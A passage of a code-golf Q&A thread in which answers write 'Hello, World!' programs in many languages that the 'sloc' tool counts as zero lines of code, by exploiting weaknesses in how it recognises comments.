HqsEy@oKe/OU34exEBcP0NtfsdfOsapCdZAzC8yfZHss7GN3wm4vxOGnKalBwmMp5TzF/1/JRIsvxwxqd7nrj5/ooO1/eEAJurb7l5Qc31C9@HLxynziGcl7s8J9genoa9E5D@GkQ7zYytajp0w6dv3an9PyDjf4OLjPEC7V2Q9CUxXgoutkh4Hif7@NiHRQHDFny/BouIPNPzqHeErvny2eW8HQXT0ugzwMTrrnXrg02r8hjgvCh1sjUD2JqPy1F/g1I4FrleR7zWdM3gtgP2ONWnqj3B/0VHNxz9tOwJNWc4ZydLmvXZrIRcS9tvHrbY7HnwYXeqzuvlxeyM2NmbjliE/j7nbLa8pQhzwrtcHSMP8wvU90UMG13Ms76AIWRjMBqcjQEAYVmBqQwAn2o05MXd80dYlVTxccBU6lFTZg8AuctM2kpaa/uoQf65zIuwzpdzshtDb/FD1h5uEKB7J4oIlq1Pd3Ox1tusPHXSBS7fXz0C4Ynllh9POT8Ou8CRn046XC7OzLjsMrK3FHl2Ngs5kTlePjt31CZdD@qD8hGSl08n7N@0bo1oK2@zDWGqykoIlBYuYJRHWxTfO6qEzh5a27SpHiH2PaoPh1r/3DRVowZ/zWDPW0EQ355Q@qcR7iKmyGZX11VjEapB1hPPMaUpps5lPgVBXO1K@5YuNZDSQ3o/5XvHVGXJfspcv2CPIqBL92EtY3cVCfVex8x0e7WakOehoDCPjL0JnWeBOAV6O4EyxCEXqeliFdY7kzLNS6dAVVOXZyUtbmiOc/PPrsNwBVqEZreGq7C6Er3DDG7D@6/MdVwnT@h@0/XnPQz9S2/1Hk1kYQumIAV@kjXagIkvjh7TXkxpg9sLmkfgLqJEQPLQPkdKnBn3GydlYbIdMi1Yg72O91JsYsWZRK5TIxBXAib3vqUXfutpFXie61jYhur1Qjjkt8/Gc7RzBmR73GxYQoFqq0K4LlWB25TrcmvTQG6mfK2MiTAOiXl8vLNOboQczXQV0A235Ctrj8fdffscdM8tzRmO9gbcZyFt320o86NVIPlUlW4PcGldD8v2lzJ0m7kFwn21URme/Ftw0HJFZGKen/QGJk7aGcATplQjkSnAX2EYRm/Y0aV8MlRU/KGiDyaiGDcyqx6r5t6oV7MJOwgw82EZb50QP5Wd3LRHgrdloToLJjjYOhrYMBJibrcrVkzg40cXdNCuoJ5/PICwOBidb1p4YQo8@7xAlATpf0krzbg@hOsajZz74QhOjoPLcuRODDGhT7H8VnhosMA1vp5M1eUlIkdwBGy3XR2rk7ahAKTY91i5@DKDHEriIJZdiYmju4w1IkKg3ENaT9U6z@wYVzWZCsp1LcKCLeOAQ4QOHDAFKYkhpAdGZ@Goo9cZNPLkxu8dYIshsEsdfs1bT6eQF0TAS/UYx0mEuStGnRCOuyA9YZvQTh83DmcFTpLiDtUM7mGXrdE4@PIEpzs27sC4h@EUnybTthbX3ceqbjfEhJoC70IdtPnCNmkpzS1UC2g9o3gLnXq2vTzatp3UmXbhep6YK45TXlgDm8jiBRePxUWwDVr0BxLlTenEijkvSaSHyqxEos9tmhMpTtJz7a9kEEGLOJgeUM7z1QAMaoE6UzboS25aQMJ9XHEcdxJZ/hlUmPZEIqFtoqKuKHEW8ic@Gi9vV1POzKlH@QL0PjlRGEyOvIBsJWRigmfYpW3Y2/EEThfmaagopNX0ClFssytjC2nbSOiDAAW93xUMoQynLr2g0SvoYRSJpxRHOmk9pW4xZ1ozFYeSJVyqa349mzGKMsttdnm9umEiVIYZ2U9gKoheCc8aBAYs8LZKdgSDAu2YZU5VVdvF0yeH8HJeZJUOwAfsKpwxn81hR0g6ouuQreA@oyLleALxPXG8Rtd5FGvIzJtl@XHZzEEHQQiP7PYqDMPZ9aoNGpQPurhBO44fJzhnQPBozwqGW9AIDfaFQyyh2B0GP@yxYc7XyamMckzSGMJwo9FhWxzmS2D/NY1iAKWT1X9Lo4GPEyzl8gjvmNawwi71kZWsCU/JDGv2G/StNXpWO/HkKBscCN8b915WQ5HDOE8qSapbDH@lYL/1BsC79iFbGCXuOzOinfiDCmmMOzVrlzeTjbnsiGPbsLeUpoKsNK@2LpMAJw0Tvd5t@QsFjO5yS5chEj6V2Vrwn7aBlaaQcy/YMyUbTv3Z4frk3eT481db0HFFPioXYxvzU5r8zrXyNpeWy2zUrWtuG26EwEi7p7ssF5KwI0VrKgpy@x23V99K@4Lba2nP3IyxKkYNV7ICLm1hk/LzpFYUSFGOWlY0lVGvlkO/99JIy@JdMdHdramaF7jvDNx5YINyQWAgBrsTjQv5zVUGKrZhy58KqKfFYjKBFIMGYvAilybjlr4Ncc8VfTrVMKoscsvrwloftn6pkX6zYC7IDdg0XEhxJRFXrRuIh1AVkjpUaAzchxvq2INrWS7Wxqj9Q37TNxvsuYWLJawYir9SuCoaFdWwpa9ctEh@itMaGFz5ESDsuPrxR4dGvgNjEwRD9cPbn1wdIoDzmFBGdhNGRXLDiSaPYLg@CkHGfyLm35mW2d1dC6LAmxAOG5FSOAVpEHOKjrC/QOQxujkR9gjZU/UoMvhHiJw9AcYmAFIL/M4egyuF@L3xPY6NJ4HEnsGAqUIsxCSRjUZTCJfprrznWyZSAfLRiEcJd30gpCDvo5cXdTmyuJmjZvtw@3z1@fPn0Wg0GAzg@aqGcGnHg7/rPAdw@nfV5MnFYPKK38Lzc334Dw "CoffeeScript 2 – Try It Online") You need to: 1. Type your code into the input box 2. Type the extension corresponding to your language into the command args (important!) [Answer] # [Haskell](https://www.haskell.org/), ~~[36](https://codegolf.stackexchange.com/revisions/215715/1)~~ 35 bytes ``` {-{--}--}main=putStr"Hello, world!" ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/v1q3Wle3VheIcxMz82wLSkuCS4qUPIBy@ToK5flFOSmKSv//AwA "Haskell – Try It Online") [Test sloc](https://tio.run/##tVltc9s2Ev7OXwFL15EUi5SdTmfStKqvTXt3nWsuM5d8s9QORUIibb6VIG1pHP/23L6BAiklc/fhnAwBgbuLxWLx7GIZldut1iaq06p5@Wk8HnsfktSoqi53dZgr6Mapaep00zY6Vm0R61o1iVaNrnOjyi39ePvrB5WlkS6MDrw3ZXWo013SqJdX1y@Vj80rNY1m6m1Y37dG/bNMsiQ0Wn2fh2n215xG/XsZDWL9g4d6ePf6YNRS3XpKTZqyCbOJor@xqpKDSaMwg0kLTVpEZayRzpRtHemJ0HWveRgJojLPddFMXILHtEmUvDAkJS122UAKEfELH0d6DJusjO479RwGetEjzdO9jgekNKbaSiYhZVVYxKdz/JJXzWECjBo77kxhfy7k0EwsUzkcbNG4nEBn7XlFWZBcpFuqxe3vK7NeeLqI321/w5XS6F8WuVfox99oRh5aFYudR2JlFMaA9wWQ7jyUb4lxPHjx4d3P7wJ@6e1084YV/WVf1dqYtCxws6dZWOxmyv/B81Bntrca2luGlx4qYmD5UaKQ0fN4sY@JLtQoItcezdUIXDMeyTsFeo9hiU/rBUwAHpc04U4VZaO2ZZaVj7ARm4MqK13AJCpq6@ygNnVI3uPIrlFudcBnZvCZl1GSYqdI99gQQb3B511GxPQ8hDm1Cb8HCa5ei94kdyT4zpC8nH9F9OBnVVHD43uiSoiUHvhcdcLhb5QwQ8KUzJAWJU0SPoSkZFJJ8w22O3q5q8vy4XAizkSGps40tzU9Tci/THOghRo4pyQa9mnbYKcxJ6Luwpg2akesRUt09/I0zETqbg0/U25obGOyE4FxWBN3uItD18KLp5fPi76bZGGjSY40oDgZFLa1YzQNyCOX/6q/RVlLa0t4yX9mzly@3yfVtft2KGhTixcVAHvYe9g41JM@cZHmx5e1nAMhXSycX9Ob145VxuDmhR@FVdPW6Nywr23lmk393qPmVQN84vnr0cH5Ga9fWLqwOKgoCWsFQUJNxhOHdOYq40roxJ8qsRq7VHofRqAEAMAXJP@Py5zeXLjUehc26QPATFneh4kO4x4xrHY1Xl2sz6@VYHpyMemxzD6jp7s5dfBHHgJw/R21@wN86xqkx2kNMLxN90ey3sbXfCai7E4acpqEHCY0jlMsvhv4KZGk2eGMTw88cfvtFR2ubwkBtldfc/OKmutXrg9fWE6dQTgv2iwj2B6fhr0TkP4SRFvNTFNWdOjGT1/bU/t/QMb/BhcZ4wXa@yDpSmK8FFzskPA8Tg7xcQiLAoYd@H4JFhF55udR7whdi9WLy0U3Cqal0ReAidd961aHJimLY4BzotTJ1oxgaz6uJsMNSuBYZHoT8lqTDYNbC@xRok9Ve4J/Fz3dcPR5NRBqznD6J0vyh2yNhNyGtt887LDZ8@BDe6rO96sL/4xY/4eeWIT@Iafvr24pwpzwrtbHyMP8AvVDEeNa54t0KGAM2RiMemdjAEBYmmMqA8Cnag15cf/8EVbFZXQcMKV61JTZA0C2qUk6SRvdPGqQfy7zIqxz5ZzsxthZ/Ji1hxsE6N6LIoJlm9PdXG70Li1OnXSJy3dXj0B4YrnVx1POj@M@cGSnk45XyzMzrvqM7C15lp7NQk5kTlcvzh21Wd@DhqB8hOTV0wn7V51bI9rK23RLmKrSAgJlAxcwyqMbFD84qoTODlo3SV0@Qux7VB8Olf6lrstajf6Wwp53giC@PaH05wnuIqbIpq2qsm4QqkHWE88xpynm1mWePS8q26J5S5caSOkhvZ/zvWOu0ng/Z65fsUcR0Kb7sJapvYoEeq8jZrq9Ws/I81BQkIWmuQmsZ4E4BXpbgTLEIRep6WIVVK1JmOa1VaCsqMuzkhY3NMe5@f3rIFiDFoFpN3AVVleid5DCbXj/hbmO6@QJ7W@6/ryHoX/rnd6jiRrYgjlIgZ9kjS5g4oujx3QXU9rg7oLmENiLKBGQPLTPkRJnxv3GSVmYbIdMC9Zgr@O9FJs04kwi16rhiSsBk33f0Qt/42jlOZ5rWdiG6vulcMhvl43n6Ob0yPa42bCEHNVWuXBdqhy3KdPFrkk8uZnytTIiwigg5unxzjq7EXI005VHN9yCr6wDHnv3HXLQPbcwZzi6G/CQhbR9t6XMj1aB5HNV2D3ApfU9LN1fytBtahcI99VapXjyb8FBizWRiXl@1luYOO5mAE@YU41EpgB/hWEYvWFHl/LJWFHxh4o@mIhi3Egb9VjW90Z958/YQYCZD8t0Z4W4qezspjsSvC1L1VswwcHO0sCGkRBzu1uzYgIfb2zQQbuCeu7xAML8YHS27eCFKfDs8wJREqT/Ba005foQrmsyse6HIzg5Dq6KiT0xxIQ@xfI74YHBAtf0ejZXl5eIHN4RsO129axO2gYCkGLfY@Xi8wxyKImDWNoCE0d7GatFhEC5g7SOqlWWNlNc1WwuKNe3CAtuGAcsIvTggClISQwhAzA6C0c9vc6gkSM3em8BWwyBXerwa956OoW8IAJeqsdYTiLMbDHqhHDaB@kZ24R2@rhxOCtwkhR7qHy4h112RuPgyxOc7ti0B@MOhlN8ms27Wlx/H8uq2xATaAq8S3XQ5jPbpKU0t1QdoA2M4ix07tj28mjbblJr2qXtOWKuOE45YQ1sIosXXDwWF8E2aNEfSZQzpRUr5rwkkQ4qsxKxPrdpVqQ4ycC1v5BBeB3iYHpAOc8XAzCoBerM2aCvuekACfdxzXHcSmT5Z1BhPhCJhE0d5lVJibOQP/HReH27nnNmTj3KF6D3bEVhMDnyArIVkIkJnmGXtmHfTGdwujBPQ0UhraZXiGLbtogaSNsmQu95KOh9mzOEMpza9IJGr6CHUSSaUxzppfWUukWcafkqCiRLuFTX/Nr3GUWZ5Ta9vF7fMBEqw4zsJzAVRK@YZ/U8AxZ4W8YtwaBAO2aZc1VWzfLp2SK8nBdZpQXwEbsKZ8xnc9gJkk7oOtSUcJ9RobI8nvieOF6tqyyMNGTm9ar4uKoXoIMghEN2exUEgX@97oIG5YM2btCO48cJzhkQPLqzguEWNEKDfeYQSyi2h8ENe2yY83VyKqMckzSGMNxodNgOh/kSOHxNoxhA6WQN39Ko5@IES7k8wjumNaywTX1kJRvCUzLDhv0GfWuDntVNPDvKBgfC98a@l9VQ5DDWkwqSahfDXynYb50B8K59wBZGifvejGgn/qBCGuNO@d3yfNmYy544tg17S2FKyEqzcmczCXDSINabdsdfKGC0zRq6DJHwuczWgf@8C6w0hZx7wZ452XDuzg7XJ@cmx5@/uoKOLfJRuRjbiJ/SZHe2lbeZtFxmo25VcVtzIwRG2j3dZbmQhB0pWlNRkNtvuL36WtpX3F5Le@ZmjFUxariS5XFpC5uEnye1Ik@KctSyoomMOrUc@r2XRloWb4uJ9m5N1TzPfmfgzgMblAsCIzHYnWicy2@uMlCxDVv@VEA9LRaTCaQYNBKD55k0Kbf0bYh7tujTq4ZRZZFbXhfW@rB1S430mwVzQW7EpuFCii2J2GrdSDyEqpDUoUKjZz/cUKc52JblYm2M2j/lN32zwZ5duFiiEUPxVwpbRaOiGrb0lYsWyU9xWgODazcCBD1XP/7o0ch3YGw8b6x@fPuzrUN4cB5jyshugjCPbzjR5BEM10chyPgvxPw70zHbu2tOFHgTwmEjUnKrIA1iTtET9hNEHqPrE2GPkD2VjyKDfwTIORBgmhhAaonf2SNwpQC/N77HsenMk9gzGjFVgIWYOGzCyRzCZdIW93zLRCpAPhpxKOGuD4QU5F30cqIuRxY7c1jvHm5frj99@vTkP/n@M/zPw7RYVi3ktvXoHzrLAKDgCpjFF6NPifkP "CoffeeScript 2 – Try It Online") Since sloc is regex based it is a very good guess to think it cannot identify nested comments. And if we take a look we see that indeed it cannot. If we nest two comments as so: ``` {-{--}-} ``` sloc identifies one line of source and one line of comment. Based on these observations my best guess is that the regex it is using is ``` (\{-((?!-\}).)*-\}|--[^\n]*) ``` If we pop this into a regex engine we will see it matches the nested comment as so: ``` code ^^ {-{--}-} ^^^^^^ comment ``` Ok so we broke it, however this has the opposite of the intended effect. We want sloc to think our code is a comment rather than our comment is code. So we add a "line comment marker" to the part of the comment sloc thinks is code, so that sloc thinks a line comment is being started. ``` {-{--}--} ``` So to sloc there are two comments the block comment `{-{--}` and the line comment `--}` but to haskell which actually parses comments, it is all one block comment. So then we just add our code after. Sloc thinks this is still a comment and Haskell knows it is not. [Answer] # [Groovy](http://groovy-lang.org/), 28 bytes ``` /**/print"Hello, World!"/**/ ``` [Try it online!](https://tio.run/##Sy/Kzy@r/P9fX0tLv6AoM69EySM1JydfRyE8vygnRVEJJP7/PwA "Groovy – Try It Online") --- # [Squirrel](http://www.squirrel-lang.org/), 30 bytes ``` /**/print("Hello, World!")/**/ ``` [Try it online!](https://tio.run/##Ky4szSwqSs35/19fS0u/oCgzr0RDySM1JydfRyE8vygnRVFJEyTz/z8A "Squirrel – Try It Online") --- # [Swift](https://developer.apple.com/swift/), 30 bytes ``` /**/print("Hello, World!")/**/ ``` [Try it online!](https://tio.run/##Ky7PTCsx@f9fX0tLv6AoM69EQ8kjNScnX0chPL8oJ0VRSRMk8/8/AA "Swift – Try It Online") --- # [JavaScript (Node.js)](https://nodejs.org), 36 bytes ``` /**/console.log("Hello, World!")/**/ ``` As a bonus, this also breaks SE's syntax highlighter. [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/f9fX0tLPzk/rzg/J1UvJz9dQ8kjNScnX0chPL8oJ0VRSRMk//8/AA "JavaScript (Node.js) – Try It Online") --- # [C (gcc)](https://gcc.gnu.org/), 38 bytes ``` /**/main(){puts("Hello, World!");}/**/ ``` [Try it online!](https://tio.run/##S9ZNT07@/19fS0s/NzEzT0OzuqC0pFhDySM1JydfRyE8vygnRVFJ07oWpOL/fwA "C (gcc) – Try It Online") --- # [Dart](https://www.dartlang.org/), 39 bytes ``` /**/main(){print("Hello, World!");}/**/ ``` [Try it online!](https://tio.run/##S0ksKvn/X19LSz83MTNPQ7O6oCgzr0RDySM1JydfRyE8vygnRVFJ07oWpOT/fwA "Dart – Try It Online") --- # [Rust](https://www.rust-lang.org/), 42 bytes ``` /**/fn main(){print!("Hello, World!")}/**/ ``` [Try it online!](https://tio.run/##KyotLvn/X19LSz8tTyE3MTNPQ7O6oCgzr0RRQ8kjNScnX0chPL8oJ0VRSbMWpOr/fwA "Rust – Try It Online") --- # [C++ (gcc)](https://gcc.gnu.org/), 48 bytes ``` /**/main(){__builtin_puts("Hello, World!");}/**/ ``` [Try it online!](https://tio.run/##Sy4o0E1PTv7/X19LSz83MTNPQ7M6Pj6pNDOnJDMvvqC0pFhDySM1JydfRyE8vygnRVFJ07oWpPb/fwA "C++ (gcc) – Try It Online") --- # [Scala](http://www.scala-lang.org/), 52 bytes ``` /**/object H extends App{print("Hello, World!")}/**/ ``` [Try it online!](https://tio.run/##K05OzEn8/19fS0s/PykrNblEwUMhtaIkNS@lWMGxoKC6oCgzr0RDySM1JydfRyE8vygnRVFJsxak/v9/AA "Scala – Try It Online") --- # [Go](https://golang.org/), 69 bytes ``` /**/package main import."fmt" func main(){Print("Hello, World!")}/**/ ``` [Try it online!](https://tio.run/##S8///19fS0u/IDE5OzE9VSE3MTOPKzO3IL@oRE8pLbdEiSutNC8ZLKyhWR1QlJlXoqHkkZqTk6@jEJ5flJOiqKRZCzLg/38A "Go – Try It Online") --- # [C# (.NET Core)](https://www.microsoft.com/net/core/platform), 75 bytes ``` /**/class P{static void Main(){System.Console.Write("Hello, World!");}}/**/ ``` [Try it online!](https://tio.run/##Sy7WTc4vSv3/X19LSz85J7G4WCGgurgksSQzWaEsPzNFwTcxM09Dszq4srgkNVfPOT@vOD8nVS@8KLMkVUPJIzUnJ19HITy/KCdFUUnTurYWZMz//wA "C# (.NET Core) – Try It Online") [Answer] # Java 6, ~~83~~ ~~68~~ 54 Bytes The code : ``` /**/enum C{C;{System.out.print("Hello, World!");}}/**/ ``` Although crashes immediately with error sent to stderr, prints the correct output. Thanks to `@Kevin Cruijssen` for the tip about removing the `System.exit(0)`. And the result : ``` ---------- Result ------------ Physical : 1 Source : 0 Comment : 1 Single-line comment : 0 Block comment : 1 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ---------------------------- ``` Thanks @Razetime for the hint from @OlivierGrégoire [answer](https://codegolf.stackexchange.com/questions/55422/hello-world/140175#140175). --- My initial answer was in java 7+ with 83 Bytes (there's a comma missing) : ``` /**/interface C{static void main(String[]a){System.out.print("Hello World!");}}/**/ ``` [Answer] # PHP, 33 bytes [Dewi Morgan](https://codegolf.stackexchange.com/users/41364/dewi-morgan) [claimed](https://codegolf.stackexchange.com/a/215732/26597) there was no possible solution, so that obviously made me look further into a way to do it :) (he then [followed up](https://codegolf.stackexchange.com/a/215752/26597) with multiple 'shenanigans') Thing is, we can simply do: ``` //<?php ob_clean()?>Hello, World! ``` The only downside (and what made me initially discard it) is that you must be using a SAPI that has buffering enabled by default. So, if you tried to run it with php cli, it will probably output the `//` *and* complain that there was no buffer to delete. But if ran from a web server (even built-in `php -S`), it will produce the expected `Hello World!` sloc agrees that has no code: ``` ---------- Result ------------ Physical : 1 Source : 0 Comment : 1 Single-line comment : 1 Block comment : 0 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ---------------------------- ``` [Answer] # [JavaScript (V8)](https://v8.dev/), 28 bytes ``` /**/print`Hello, World!`/**/ ``` [Try it online!](https://tio.run/##y0osSyxOLsosKNEts/j/X19LS7@gKDOvJMEjNScnX0chPL8oJ0UxAST@/z8A "JavaScript (V8) – Try It Online") [Answer] # [PHP](https://php.net), 17 chars *with backspace cheat*. ## Entry ``` //^H^HHello, World! ``` ## Rationale After the forward-slashes for the comment, there are two backspace characters which erase them from the output. Then, it outputs the target string. So, whether this is legal depends on whether "output" can be grossly misinterpreted to mean "eventual visual output on some terminals". I suspect not, since the online testing env is probably the canonical env, and does not respect backspaces. So while maybe mildly interesting for the weaknesses found, this is unlikely to be a winner :) However, that then means that **a legal solution is impossible in PHP.** For any solution which does not include this cheat, we are stuck with two options: 1. Comments, then PHP opentag. This outputs `//`, and we've established that's illegal: ``` //<?php ``` 2. PHP open tag, then comments. Lacking any preceding text to hide it from sloc, the open tag counts as a line of code. ``` <?php// ``` This argument relies on the assumption that comments are the *only* way to hide code from sloc. However, the argument works just as well if we replace "comments" with "anything which causes bad output if placed before a PHP opentag; and won't hide the opentag from sloc if placed after it", which I *think* includes everything, since the regexes for PHP don't seem to have any exploitable backreferencing, but I may be making an incorrect assumption. ## Weaknesses found Possibly-exploitable issues found with the sloc online testing env for PHP. 1. It treats `//` line and `/*...*/` comments correctly, but is sadly unaware of `#` line comments, or this would be 15 chars instead, standing a good chance of beating all languages other than those using compression or with the "Hello World!" string as a language construct. OK, or languages where `//` means `print` and the file extension can be set to .c or similar. 2. It does not check for a preceding unpaired `<?` or `<?php` before considering something code. To PHP, everything outside of `<?....?>` is output. This is the bug I exploited. [Answer] # HTML, ~~[25](https://codegolf.stackexchange.com/revisions/215733/1)~~ 23 bytes -2 bytes thanks to [anonymoose](https://codegolf.stackexchange.com/questions/215705/hello-world-in-zero-lines-of-code/215733#comment503997_215733) ``` <!-->Hello, World!<!--> ``` --- A side note on PHP: Inspired by @Dewi Morgan's PHP answer, I wanted to see if I could find any other approaches which did not use the backspace cheat. My first thought was that my HTML answer would instantly work as a PHP answer, however this is not the case. Even though PHP interprets everything outside of its `<?` `?>` tags as plain HTML, simply switching the extension from HTML to PHP causes sloc to interpret this as one line, and indeed it seems that sloc ignores HTML comments in PHP mode. I was hoping that something like `//?>Hello, World!` would solve this for PHP, but while sloc interprets this as 0 lines (hooray!!) PHP simply ignores the closing tag meaning that the entire construct is output to the page. So, for now I have to agree: it seems like a valid PHP solution without the backspace cheat (or using the `-r` flag) does not exist. [Answer] # Python, 32 bytes ``` """'''""";print("Hello, World!") ``` `sloc` outputs ``` { total: 1, source: 0, comment: 1, single: 0, block: 1, mixed: 0, empty: 0, todo: 0, blockEmpty: 0 } ``` [Try it online](https://tio.run/##K6gsycjPM/7/X0lJSV1dHUhaFxRl5pVoKHmk5uTk6yiE5xflpCgqaf7/DwA) [Answer] # [Ruby](https://www.ruby-lang.org/), 46 bytes ``` =begin =end =begin puts "Hello, World!" #=end ``` [sloc output](https://tio.run/##tVltb9vIEf7OX7GWepBkS5Sd4IBcLjr3mqTtoZcGaAL0g6U7UORKpM2345K2BMe/PZ23pZaUYrQfagPc1XJmdnZ29pnZYVhsNlqbsErK@sXX4XDofY4To8qq2FZBpqAbJaauknVT60g1eaQrVcda1brKjCo29OPDL59VmoQ6N9r33hblvkq2ca1eXF69UDNsXqlxOFEfguquMeofRZzGgdHqTRYk6Z8zGp3dyagf6Z881MO703ujFurGU2pUF3WQjhT9DVUZ700SBilMmmvSIiwijXSmaKpQj4Sufc3DSBAWWabzeuQSPCR1rOSFISlJvk17UoiIX8xwpMOwTovwrlXPYaAXHdIs2emoR0pjqillElJWBXl0PMf7rKz3I2DU2HFnCrpzIYdmYpnK4WCLRsUIOivPy4uc5CLdQs1vflua1dzTefRx8yuulEb/NM@8XD/8SjPy0DKfbz0SK6MwBrznQLr1UL4lxnH//PPHdx99fultdf2WFX2/KyttTFLkuNnjNMi3EzX7yfNQZ7a36ttbhhceKmJg@WGskNHzeLEPsc7VICTXHkzVAFwzGsg7BXoPYYmPqzlMAB4X18FW5UWtNkWaFg@wEeu9KkqdwyQqbKp0r9ZVQN7jyK5QbrnHZ2rwmRVhnGAnT3bYEEG1xudtSsT03AcZtTG/BwmuXvPOJLck@NaQvIx/hfTgZ1lSw@M7ooqJlB74XLbC4W8QM0PMlMyQ5AVNEtwHpGRcSvM9tlt6ua2K4n5/JM6EhqZONbcVPU3Av0y9p4UaOKckGvZpU2OnNkeiboOINmpLrHlDdHfyNMxE6m4MPxNuaGxt0iOBUVARd7CNAtfC88cXT/Oum6RBrUmONKA4GRS2tWU0Ncgjl/@uu0VpQ2uLecl/pM5cs1mXVFfu276gdSVelAPsYe9@7VCPusR5kh1eVnIOhHQ@d36Nr187VhmCm@ezMCjrpkLnhn1tStds6rcONa8a4BPPX4cOzs9wdW7pgnyvwjioFAQJNRqOHNKJq4wroRV/rMRy6FLpXRCCEgAAz0j@H5c5vj5zqfU2qJN7gJmiuAtiHUQdYljtcrg8W51eK8H06GzUYZl8Q093cyr/9ywA4Pobavc7@NYVSI@SCmB4k@wOZJ2Nr/hMhOmtNOQ0MTlMYBynmP/Y81MiSdL9CZ/ueeLmh0s6XD8QAmwuX3LzipqrV64Pn1lOnUI4z5s0JdgeHoe9I5B@DqKtZqYuSjp0w8eX9tT@H5Dxv8FFxniB9i5IupIYLwUXWyQ8jZN9fOzDooBhC77PwSIiz/Q06h2ga748v5i3o2BaGj0HTLzqWrfc13GRHwKcE6WOtmYAW/NlOepvUAzHItXrgNcarxncGmAPY32s2iP8n3V0w9GnZU@oOcE5O1rSrM9WS8itafvN/RabHQ/eN8fqvFmezU6Inf3UEYvQ3@eczZY3FGGOeJerQ@RhfoH6vohhpbN50hcwhGwMRr2TMQAgLMkwlQHgU5WGvLh7/giroiI8DJhCPWjK7AEgm8TEraS1rh80yD@VeRHWuXKOdmPoLH7I2sMNAnTvRBHBsvXxbi7Wepvkx066wOW7q0cgPLLc8ssx55dhFzjS40mHy8WJGZddRvaWLE1OZiFHMsfL81NHbdL1oD4oHyB5@XjE/l3r1oi28jbZEKaqJIdAWcMFjPLoGsX3jiqhs4PWdVwVDxD7HtTnfanfV1VRqcFfE9jzVhDEt0eU/jTCXcQU2TRlWVQ1QjXIeuQ5pjTF1LrMk@eFRZPXH@hSAyk9pPdTvndMVRLtpsz1C/YoAtp0H9YytlcRX@90yEw3l6sJeR4K8tPA1Ne@9SwQp0BvK1CGOOQiNV2s/LIxMdO8tgoUJXV5VtLimuY4Nf/syvdXoIVvmjVchdWl6O0ncBvePTPXYZ08of1N159PMPQvvdU7NFENWzAFKfCTrNEGTHxx8Jj2Ykob3F7QHAJ7ESUCkof2OVDizLjfOCkLk@2QacEa7HW8l2KTWpxJ5Fo1PHElYLLvW3rhrx2tPMdzLQvbUL1ZCIf8dtl4jnZOj2yPmw1LyFBtlQnXhcpwm1Kdb@vYk5spXytDIgx9Yh4f7qyTayFHM116dMPN@cra47F33z4H3XNzc4KjvQH3WUjbjxvK/GgVSD5Vud0DXFrXw5LdhQzdJHaBcF@tVIIn/wYcNF8RmZjnnd7AxFE7A3jClGokMgX4KwzD6DU7upRPhoqKP1T0wUQU40ZSq4eiujPqx9mEHQSY@bCMt1aIm8pOrtsjwduyUJ0FExxsLQ1sGAkxN9sVKybw8dYGHbQrqOceDyDM9kanmxZemALPPi8QJUH6n9NKE64P4bpGI@t@OIKT4@AyH9kTQ0zoUyy/Fe4bLHCNryZTdXGByOEdANtuV8fqpK0vACn2PVQuvs0gh5I4iKXJMXG0l7FKRAiUO0jrqFqmST3GVU2mgnJdi7DgmnHAIkIHDpiClMQQ0gOjk3DU0esEGjlyw08WsMUQ2KUOv@atp1PICyLgpXqM5STC1BajjgjHXZCesE1opw8bh7MCJ0mxh2oG97CL1mgcfHmC4x0bd2DcwXCKT5NpW4vr7mNRthtifE2Bd6H22nxjm7SU5haqBbSeUZyFTh3bXhxs205qTbuwPUfMJccpJ6yBTWTxgouH4iLYBi36M4lyprRixZwXJNJBZVYi0qc2zYoUJ@m59jMZhNciDqYHlPM8G4BBLVBnygZ9zU0LSLiPK47jViLLP4EK055IJKyrICsLSpyF/JGPxuub1ZQzc@pRvgC9JysKg8mBF5Ath0xM8Ay7tA27ejyB04V5GioKaTW9QhTbNHlYQ9o2EnrPQ0GfmowhlOHUphc0egk9jCLhlOJIJ62n1C3kTGumQl@yhAt1xa9nM0ZRZrlJLq5W10yEyjAj@wlMBdEr4lk9z4AFPhRRQzAo0I5Z5lQVZb14fLIIL@dFVmkBfMCuwhnzyRx2hKQjug7VBdxnVKAsjye@J45X6TINQg2ZebXMvyyrOeggCOGQ3Vz6vj@7WrVBg/JBGzdox/HjBOcMCB7tWcFwCxqhwb5xiCUU28Pghj02zOk6OZVRDkkaQxhuNDpsi8N8Cey/plEMoHSy@m9p1HNxgqVcHOAd0xpW2KY@spI14SmZYc1@g761Rs9qJ54cZIMD4Xtj38tqKHIY60k5SbWL4a8U7LfOAHjXzmcLo8RdZ0a0E39QIY1xp2bt8mayMRcdcWwb9pbcFJCVpsXWZhLgpH6k182Wv1DAaJPWdBki4VOZrQX/aRtYaQo594I9U7Lh1J0drk/OTY4/f7UFHVvko3IxtiE/pUlvbStvU2m5zEbdsuS24kYIjLQ7ustyIQk7UrSmoiC333N7@VLaV9xeSXviZoxVMWq4kuVxaQubmJ9HtSJPinLUsqKxjDq1HPq9k0ZaFm@LifZuTdU8z35n4M49G5QLAgMx2K1onMlvrjJQsQ1b/lRAPS0WkwmkGDQQg2epNAm39G2Ie7bo06mGUWWRW14X1vqwdUuN9JsFc0FuwKbhQootidhq3UA8hKqQ1KFCo2c/3FCn3tuW5WJtjNo/5Dd9s8GeXbhYohZD8VcKW0Wjohq29JWLFslPcVoDgys3AvgdVz/86NDId2BsPG@ofv7wztYhPDiPEWVk136QRdecaPIIhuuDEGT8J2L@rWmZ7d01Iwq8CeGwESmZVZAGMafoCPsLRB6jqyNhD5A9FQ8ig3/4yNkTYOoIQGqB39lDcCUfvzd@wrHxxJPYMxgwlY@FmCiog9EUwmXc5Hd8y0QqQD4acSjhrg@EFORd9HKiLkcWO3NQbe9vXqy@fv3KxTcPa21K@mUDSx/8XacpgNS/iyqNzgbeECm@Vuv/AA) ``` ---------- Result ------------ Physical : 4 Source : 0 Comment : 4 Single-line comment : 0 Block comment : 4 Mixed : 0 Empty block comment : 0 Empty : 0 To Do : 0 Number of files read : 1 ``` [Answer] # [CSS](https://www.w3.org/Style/CSS/Overview.en.html), 38 bytes ``` /**/:after{content:"Hello, World!"/**/ ``` CSS, despite not being an actual programming language, allows us to do basic output. This code creates a pseudo-element after every element on the page Sloc's block comment detection is broken (as seen in other answers) and this is reported as 0 lines of source code. [See the sloc output 